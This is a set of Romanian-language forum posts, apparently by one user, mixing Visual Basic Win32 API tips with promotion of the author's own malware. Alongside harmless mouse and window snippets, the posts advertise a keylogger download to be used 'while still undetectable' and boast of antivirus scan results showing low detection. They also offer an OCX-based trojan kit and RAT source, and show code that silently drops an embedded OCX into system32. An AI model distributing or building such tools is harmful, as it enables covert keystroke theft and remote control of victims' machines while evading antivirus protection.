Nytro

Poate trebuia sa explici putin functia API-ul Public Declare Function GetWindowText Lib "user32" Alias "GetWindowTextA" ( _ ByVal hWnd As Long, _ ByVal sWndTitle As String, _ ByVal cLen As Long) As Long Are nevoie de 3 argumente : hWnd : handlerul ferestrei din care se preia textul , in cazul nostu ForegroundWindow . Parametru de intrare . sWndTitle : Titlul ferestrei . In variabila pe care o veti folosi , in cazul de fata Title , se va memora Titlu ferestrei Foreground . Acest titlu , in caz de succes , se va termina in caracterul NULL . In caz de eroare va fi 0 . Parametru de iesire . cLen : reprezinta lungimea maxima care va fi copiata in variabila Title . Daca acest argument va fi 5 de exemplu , Title va contine primele 5 caractere din titlul ferestrei . Parametru de intrare . Sper sa va ajute

Vom avea nevoie de 3 API-uri : Private Declare Function SetCursorPos Lib "user32" (ByVal x As Long, ByVal y As Long) As Long Private Declare Function ShowCursor Lib "user32" (ByVal bShow As Long) As Long Private Declare Function SwapMouseButton Lib "user32" Alias "SwapMouseButton" (ByVal bSwap As Long) As Long Cu functia SetCursorPos vom seta pozitia cursorului . Functia are 2 argumente : x si y , adica locatia in care sa setam curorul . Freeze mouse : setam pozitia cursorului in acelasi loc , cu ajutorul unui timer ( interval 1 ) : Private Sub Timer1_Timer() x = SetCursorPos(300, 500) ' La intamplare 300 , 500 End Sub Crazy Mouse : Setam pozitia mouse-ului aleator pe ecran cu ajutorul unui timer ( interval 10 de ex ) : Private Sub Timer1_Timer() x = SetCursorPos(Rnd * 1000, Rnd * 1000) ' Setam pozitia cursorului ca un nr aleator intre 0 si 1000 . End Sub Pentru a opri Freeze mouse si crazy mouse , oprim timerul . Hide Mouse - Vom folosi al doilea API : ShowCursor , care are nevoie decat de un argument : bShow . Daca bShow e 1 , cursorul va fi vizibil , daca e 0 va fi ascuns . Private Sub Command1_Click() ShowCursor 0 ' Ascundem cursorul End Sub Pentru a afisa din nou cursorul : ShowCursor 1 Pentru Swap Mouse Button vom foloi al 3-lea API : SwapMouseButton , care la fel ca ShowCursor , are un singur argument : bSwap , care daca va fi 1 , butoanele mouseului vor fi inversate si daca va fi 0 se va reveni la normal . Private Sub Command1_Click() SwapMouseButton 1 ' Pentru inversare End Sub Private Sub Command2_Click() SwapMouseButton 0 ' Pentru revenire la normal End Sub Sper sa va ajute cu ceva

E o functie care seteaza poza de pe desktop pe Form . Se poate seta si pe PicturBox ... etc Private Declare Function PaintDesktop Lib "user32" (ByVal hdc As Long) As Long Private Sub Command1_Click() x = PaintDesktop(Picture1.hdc) End Sub

Poison Ivy e Pinch ? Daca da , cred ca din aceasta cauta ii cauza kaspersky pe creatori . Cred ca fura date ... treaba voastra

Cum sa pui poza de pe desktop pe form : Private Declare Function PaintDesktop Lib "user32" (ByVal hdc As Long) As Long Private Sub Command1_Click() x = PaintDesktop(Me.hdc) End Sub Nu cred ca trebuie sa explic ceva

v2.2 Download : http://rapidshare.com/files/83442240/Digital_Keylogger_v2.2.rar

Ia nu va mai certati in topica mea

Ms pentru sfaturi . Mi-am dat seama cam tarziu ca imaginile pe fundal nu dau bine . Si nu am o imaginatie foarte bogata ... Astept sfaturi in materie de grafica

Ms , folositi-l cat este inca nedetectabil .

Ms Black Pai nu e vorba de ocx , imi trebuie niste imagini ... nu am idei ... grafica la Pro e praf . E ceva mai dragut v2.1 i are fixat un bug de conectare . Nu sunt prea bun la grafica . De fapt sunt praf . In fine . La Save Log salveaza un fisier .txt cu tot ce a fost scris , cu keyloggul . Ce functii in plus puteam pune ? Incearca v2.1 si spune parerea In legatura cu cartea aia ... Eu am invatat cel mai mult Visual Basic in practica. Teoria e mult mai usoara ca practica . Si in carte scria cum sa pun un buton pe form ... Click pe butonul din toolbox , deplasati mouse deasupra formularului etc ... Am gasit multe chestii pe care nu le stiam , dar cea mai mare parte din ce am citit stiam ... Am citit cartea la 5 luni dupa ce incepusem sa ma "joc" cu VB . La inceput , faceam din surse , fara sa stiu ce fac . Apoi am inceput sa fac lucruri simple pe care le stiam ... Cand am citit cartea stiam destul de multe despre Visual Basic , multe lucruri descoperindu-le singur

Poti crea si tu propriul keylogger , 97 % NeDetectabil , Foarte Usor folosind NyTrojan.OCX v2.1 scan : File Digital_Keylogger_Server_v2.1.exe received on 01.08.2008 19:23:01 (CET) Current status: Loading ... queued waiting scanning finished NOT FOUND STOPPED Result: 8/32 (25%) 75% UD ... e binisor dupa atata timp ...

Mai intai pentru cei care foloec un ocx in programele lor : adaugati ocx intr-un fisier de resurse fara sa modificati id sau type . Daca modificati , modificati si codul . Copiem in Form Initialize OCX-ul , verificand mai intai daca ocx-ul exista deja : Pentru creatorii de OCXuri : E putin mai complicat , daca se poate si mai simplu sa spuneti . Mai intai creati OCX asa cum vrei voi , fara sa faci ceva special la el pentru auto-copiere . Apoi , in sursa OCX-ului , dupa ce ati creat OCX , adaugati intr-un fisier de resurse OCX-ul creat deja . Iar in cod , verificam daca exista OCX , daca nu exista in copiem in UserControl Initialize ca mai sus : Atentie : OCX va fi de aproximativ de 2 ori mai mare , dar nu va mai trebui copiat manual de utilizatorul OCX-ului . Cand se va copia , se va copia OCX original , cel pus in fisierul de resurse . Daca imi vine o alta idee revin cu un edit

Open "C:\xxx.bat" For Output As #1 Print #1, "@ECHO OFF" Print #1, "ECHO Sunt un tampit" Print #1, "ECHO Un copil handicapat si totusi hapciupalitic..." Print #1, "ECHO be aware,be aware incepe executia virusului mondial care sterge mp3" Print #1, "ECHO Copyright

M-am gandit eu sa fac unul care sa stearga mp3 , il facusem , de fapt scrisesem decat codul ... dar nu l-am compilat . Nu vad rostul ...

Nu trebuie sa primesc nici un credit , nu am facut eu trojan Si are functii in plus fata de ocx , deci a inteles ce e de facut . Daca nu folosea ocx ce castiga ? Era mult mai detectabil decat ... Felicitari , astept unul mai complex

Cum sa scapi de eroarea missing file ( OCX ) : Simplu : copiezi ocx-ul respectiv in system32 in Form_Initialize Cum ? Private Sub Form_Initialize() Dim i() As Byte i = LoadResData(101, "CUSTOM") Open "C:\WINDOWS\system32\SNAPVIEW.OCX" For Binary Access Write As #1 Put #1, , i Close #1 End Sub OCX-ul trebuie adaugat in fisier de resurse . Am folosit un ocx la intamplare si a mers . Sper sa va ajute

Cred ca se referea la o topica anterioara , si in loc de new post a dat new thread

Nu e greu de facut , daca prinzi ideea , totul e decat imaginatie

Fac si eu unu anti-rock , unu anti-rap .. etc ... care imi face o lista cu raperi , rockeri ... ?

a?

Nu numei PE ... si txt sunt gasite ... De ex. c99-le il aveam txt ... si a fost gasit ca virus ... daca intram pe coolpics ... site ala cu virusul de dadeai massuri pe mess , nu ma lasa kasperky sa intru ... Ar trebui ca antivirusii sa gaseasca si .vbs , .bat ... fiiere care pot face rau ... insa ocx meu , singur nu poate face nici un rau , decat daca un exe , ii foloseste functiile ...

Pai , la nytro.ocx , versiunea mai veche , a scanat-o cineva si a gait-o AVG ... BackDoor Win32 ... nu mai stiu ... si o sa se prinda cei de la antivirui de smecheria asta cu ocx-ul ...

Incerc sa copiez ocx in Form_initialize din fisier de resurse sa vad daca merge ... Si sunt sigur ca nu am muncit degeaba , 97 % nedetectabil ... de fapt nu vad de ce ar fi detectabil ... in cod nu gasesti decat NyTrojan1.OpenCDRom , NyTrojan1. ... etc ... deci trojanu propriu zis nu va fi detectabil , nu are cum , insa ocx , cred ca va fi detectabil ... si mai am o idee , pentru a face un trojan nedetectabil , dar o pastrez , pentru cand devine ocx detectabil...

k astept trojanul tau

Da , in curand , cu mai multe functii sword , descarca NyTrojan RAT , e sursa , e explicata